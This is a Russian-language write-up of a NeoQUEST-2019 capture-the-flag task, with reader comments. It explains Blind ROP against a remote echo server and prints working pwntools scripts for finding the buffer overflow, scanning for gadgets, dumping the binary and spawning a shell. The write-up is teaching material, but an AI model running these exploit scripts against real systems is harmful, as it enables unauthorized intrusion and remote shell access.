Как найти уязвимость на сервере, не имея информации о нём? Чем BROP отличается от ROP? Можно ли скачать исполняемый файл с сервера через переполнение буфера? Добро пожаловать под кат, разберём ответы на эти вопросы на примере прохождения задания NeoQUEST-2019!

Даны адрес и порт сервера: 213.170.100.211 10000. Попробуем подключиться к нему:


На первый взгляд — ничего особенного, обычный echo-сервер: возвращает нам то же, что мы ему сами и отправили.

Поиграв с размером передаваемых данных, можно заметить, что при достаточно большой длине строки сервер не выдерживает и прекращает соединение:


Хмм, похоже на переполнение.

Найдем длину буфера. Можно просто перебирать значения, инкрементируя их, пока мы не получим нестандартный вывод от сервера. А можно проявить немного смекалки и ускорить процесс при помощи бинарного поиска, проверяя, упал или не упал сервер после очередного запроса.

Определение длины буфера
from pwn import *
import threading
import time
import sys

ADDR = "213.170.100.211"
PORT = 10000

def find_offset():
    start = 0
    end = 200
    while True:
        conn = remote(ADDR, PORT)
        curlen = (start + end) // 2

        print("Testing {}".format(curlen))

        payload = b'\xff' * curlen

        conn.send(payload)
        time.sleep(0.5)
        r = conn.recv()
        payload = b'\xff' * (curlen)
        conn.send(payload)
        try:
            r = conn.recv()
            start = curlen

            payload = b'\xff' * (curlen + 1)
            conn.send(payload)
            time.sleep(0.5)
            r = conn.recv()

            conn.send(payload)
            try:
                r = conn.recv()
            except EOFError:
                print("\nBuffer length is {}".format(curlen), flush=True)
                return curlen
        except EOFError:
            end = curlen

    return -1



Итак, длина буфера равна 136. Если отправить серверу 136 байт, то мы перетираем нульбайт в конце нашей строки на стек и получаем идущие за ней данные – значение 0x400155. А это, судя по всему, является адресом возврата. Таким образом, мы можем контролировать поток исполнения. Но самого исполняемого файла у нас нет, и мы не знаем, где именно могут располагаться ROP-гаджеты, которые бы позволили нам получить шелл.

Что же можно с этим сделать?

Существует специальная техника, которая позволяет решать такого рода задачи при условии контролирования адреса возврата – Blind Return Oriented Programming. По сути, BROP – это сканирование «вслепую» исполняемого файла на предмет гаджетов. Мы перезаписываем адрес возврата каким-либо адресом из text-сегмента, выставляем на стеке параметры для искомого гаджета и анализируем поведение программы. По итогам анализа рождается предположение, угадали мы или нет. Важную роль играют специальные вспомогательные гаджеты – Stop(его выполнение не приведет к завершению работы программы) и Trap (его выполнение заставит программу завершиться). Таким образом, сначала находятся вспомогательные гаджеты, и с их помощью уже ищутся нужные (как правило, для того, чтобы вызвать write и получить исполняемый файл).

Например, мы хотим найти гаджет, который помещает одно значение со стека в регистр и выполняет ret. Будем записывать тестируемый адрес вместо адреса возврата, чтобы передать на него управление. После него запишем адрес ранее найденного нами Trap-гаджета, и за ним – адрес Stop-гаджета. Что в итоге получается: если сервер упал (сработал Trap), то по текущему тестируемому адресу расположен гаджет, который не соответствует искомому: он не убирает адрес Trap-гаджета со стека. Если же сработал Stop, то текущий гаджет может быть как раз тем, который мы и ищем: он убрал одно значение со стека. Таким образом можно искать гаджеты, соответствующие определенному поведению.


Но в данном случае перебор можно упростить. Мы точно знаем, что сервер печатает нам какое-то значение в ответ. Можно попробовать просканировать различные адреса в исполняемом файле, и посмотреть, не попадем ли мы снова на код, выводящий строку.

Обнаружение гаджета
lock = threading.Lock()

def safe_get_next(gen):
    with lock:
        return next(gen)

def find_puts(offiter, buffsize, base=0x400000):

    offset = 0

    while True:
        conn = remote(ADDR, PORT)

        try:
            offset = safe_get_next(offiter)
        except StopIteration:
            return

        payload = b'A' * buffsize
        payload += p64(base + offset)

        if offset % 0x10 == 0:
            print("Checking address {:#x}".format(base + offset), flush=True)

        conn.send(payload)
        time.sleep(2)

        try:
            r = conn.recv()
            r = r.strip(b'A' * buffsize)[3:]
            if len(r) > 0:
                print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True)
        except:
            pass
        finally:
            conn.close()

offset_iter = iter(range(0x200))
for _ in range(16):
threading.Thread(target=find_puts, 
args=(offset_iter, buffer_size, 0x400100)).start()
time.sleep(1)



Как же нам с помощью этой утечки получить исполняемый файл?

Мы знаем, что сервер пишет строку в ответ. Когда переходим по адресу 0x40016f, параметры функции вывода заполнены каким-то мусором. Так как, судя по адресу возврата, мы имеем дело с 64-разрядным исполняемым файлом, параметры функций располагаются в регистрах.

А что, если бы мы нашли такой гаджет, который бы позволил нам контролировать содержимое регистров (помещать их туда со стека)? Давайте попробуем найти его, используя ту же технику. Мы можем положить любое значение на стек, верно? Значит, нам нужно отыскать pop-гаджет, который бы помещал наше значение в нужный регистр перед вызовом функции вывода. Положим в качестве адреса строки адрес начала ELF-файла (0x400000). Если мы найдем нужный гаджет, то сервер должен будет напечатать в ответ сигнатуру 7F 45 4C 46.


Поиск гаджета продолжается
def find_pop(offiter, buffsize, puts, base=0x400000):

    offset = 0

    while True:
        conn = remote(ADDR, PORT)

        try:
            offset = safe_get_next(offiter)
        except StopIteration:
            return

        if offset % 0x10 == 0:
            print("Checking address {:#x}".format(base + offset), flush=True)

        payload = b'A' * buffsize
        payload += p64(base + offset)
        payload += p64(0x400001)
        payload += p64(puts)

        conn.send(payload)
        time.sleep(1)

        try:
            r = conn.recv()
            r = r.strip(b'A' * buffsize)[3:]
            if b'ELF' in r:
                print("Binary leak at at {:#x}".format(base + offset), flush=True)
        except:
            pass
        finally:
            conn.close()


offset_iter = iter(range(0x200))
for _ in range(16):
threading.Thread(target=find_pop, 
args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start()
    	time.sleep(1)



Используя полученную связку адресов, выкачаем исполняемый файл с сервера.

Извлечение файла
def dump(buffsize, pop, puts, offset, base=0x400000):
    conn = remote(ADDR, PORT)

    payload = b'A' * buffsize
    payload += p64(pop)
    payload += p64(base + offset) # what to dump
    payload += p64(puts)

    conn.send(payload)
    time.sleep(0.5)
    r = conn.recv()

    r = r.strip(b'A' * buffsize)

    conn.close()

    if r[3:]:
        return r[3:]

    return None


Посмотрим его в IDA:


Адрес 0x40016f ведет нас к syscall, а 0x40017fpop rsi; ret.

Теперь, имея на руках исполняемый файл, можно построить ROP-цепочку. Тем более, что в нем оказалась еще и строка /bin/sh!


Сформируем цепочку, которая бы вызвала system с аргументом /bin/sh. Информацию по системным вызовам в 64-битном Linux можно найти, например, тут.

Последний шажочек
def get_shell(buffsize, base=0x400000):
    conn = remote(ADDR, PORT)

    payload = b'A' * buffsize
    payload += p64(base + 0x17d)
    payload += p64(59)
    payload += p64(0)
    payload += p64(0)
    payload += p64(base + 0x1ce)
    payload += p64(base + 0x1d0)
    payload += p64(base + 0x17b)

    conn.send(payload)
    conn.interactive()


Запустим эксплоит и получим шелл:


Победа!

NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433

Совсем скоро появятся врайтапы и к остальным заданиям online-этапа NeoQUEST-2019. А «Очная ставка» состоится уже 26 июня! Новости будут появляться на сайте мероприятия, не пропустите!

Комментарии (5)


  1. GH0st3rs
    18.05.2019 13:25

    Интересный метод. А можете привести примеры trap и stop гаджетов?
    И интересно как подобный метод можно применить для других архитектур.


    1. datacompboy
      18.05.2019 16:14

      простейший трап — это 0й адрес
      для stop'а надо найти спокойное завершение


    1. NWOcs Автор
      21.05.2019 10:20

      В контексте blind rop`a trap и stop гаджеты — это не какие-то конкретные инструкции, а части кода, которые при выполнении ведут себя соответственно. Как уже написали, самый простой trap — нулевой адрес. Stop же должен просто сигнализировать нам, что он выполнился (не падать, в отличие от trap) — это может быть, например, адрес начала цикла обработки запроса, какой-то вывод и тд.
      В зависимости от особенностей различных архитектур подход будет усложняться (например, адреса возврата могут располагаться в регистрах и тд).


  1. assembled
    20.05.2019 13:42

    А RETGUARD для боротьбы с такой атакой годится? Гаджеты вы может и найдёте, но рабочую цепочку вы сможете построить только наугад, вы же не знаете с каким значением ксорится адрес возврата?


    1. NWOcs Автор
      21.05.2019 10:20

      Да, кажется, эта техника будет мешать эксплуатации. Впрочем, почти все, что защищает от обычного ROP, помогает и против его «слепой» вариации.